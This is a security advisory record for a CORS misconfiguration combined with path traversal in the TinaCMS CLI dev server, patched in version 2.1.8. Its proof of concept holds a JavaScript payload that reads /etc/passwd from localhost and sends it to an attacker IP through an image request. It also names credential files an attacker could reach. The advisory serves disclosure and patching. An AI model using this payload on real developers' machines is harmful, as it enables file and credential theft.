{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T20:32:09Z",
    "nvd_published_at": "2026-03-12T17:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer\u0027s machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n  app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n     server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker\u0027s website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn\u0027t need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker\u0027s JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker\u0027s server\n\n## PoC\n### Attacker\u0027s Malicious Website (evil.html):\n```\n\u003cscript\u003e\nfetch(\u0027http://localhost:4001/../../../etc/passwd\u0027)\n  .then(r =\u003e r.text())\n  .then(data =\u003e {\n    // Exfil via GET\n    const img = new Image();\n    img.src = \u0027http://192.168.11.117:8080/exfil?data=\u0027 + encodeURIComponent(data);\n  });\n\u003c/script\u003e\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker\u0027s server.\n\u003cimg width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" /\u003e\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer\u0027s filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n   across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
  "id": "GHSA-8pw3-9m7f-q734",
  "modified": "2026-03-12T20:32:09Z",
  "published": "2026-03-12T20:32:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/6450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS"
}